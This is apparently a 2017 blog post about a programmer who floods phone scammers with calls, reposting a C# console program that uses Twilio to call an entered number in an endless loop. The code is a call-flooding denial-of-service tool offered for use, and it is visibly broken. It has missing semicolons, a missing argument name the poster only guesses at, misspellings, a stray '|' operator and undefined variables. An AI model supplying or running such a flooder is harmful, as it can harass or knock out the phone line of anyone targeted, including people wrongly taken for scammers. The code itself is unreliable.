Programmer fights phone scammers

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2017.06.23

Programmer writes script that calls Phone Scammers 28 times a second causing service denial preventing future scams

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The Code - NEW

Someone else has posted the Script Code on GitHub at https://github.com/Jfaler/soup/blob/master/flood.cs

The Code - My original post - Deprecated

Credit for the code below, created from the video,
is due someone else, not me.

I copied it from his (or her) posting at page:
https://pastebin.com/r4L2ufkp
...although I did figure out the first
of two missing words from that page.

Note: One word is still missing below
at the point at which you find the phrase:
/*not sure what this first word is*/

If I had to guess, I would say it should be:
from:
...but that is only a wild guess.



using System;
using System.Collections.Generic;
using System.Linq;
using System.Diagnostics;
using System.Text
using System.Threading.Tasks;
using Twilio

namespace CallBomber
{
	class Program
	{
		public static string accountsid = "***********";
		public static string authtoken = "*********";
		public static List(string) numbers = new List(string){new string() {"+15555555555", "+16665555555"}};
		public static List(string) NumbersInUse = new List(string)();
		public static string NumToCall = "";
		static void Main(string[] args)
		{
			Console.WriteLine(" -- Telecommunication Scammer Flooder -- v1.0");
			
			Console.WriteLine("Enter the number to flood(+1 MUST BE IN FRONT!)");
			NumToCall = Console.ReadLine();
			Console.WrtieLine("Press Enter to start the flooder, Otherwise exit the application right now...")
			Console.ReadLine();
			Console.Clear();
			TwilioClient.Init(accountsid, authtoken);
			
			var count = 1;
			do
			{
				Console.WriteLine("Starting Call Batch " + count.ToString() + " (" + numbers.Count | " Nums.)"
				foreach (string num in numbers)
				{
					Call(num);
					System.Threading.Thread.Sleep(1000);
				}
				count++;
				System.Threading.Thread.Sleep(5000);
			}while(true);
		}
		
		static void Call(string FromNumber)
		{
			try
			{
				var call = CallResource.Create(
					to: new PhoneNumber(NumToCall),
					/*not sure what this first word is*/ new PhoneNumber(FromNumber),
					record: true,
					url:""
				);
				Console.WriteLine(string.Format($"Started call to: {callto}, from: {FromNumber}"));
			}
			catch(Exception Ex)
			{
				Console.WriteLine(string.Format($"Error on numner {FromNumber}: {e.Message}"));
			}
		}
	}
	
}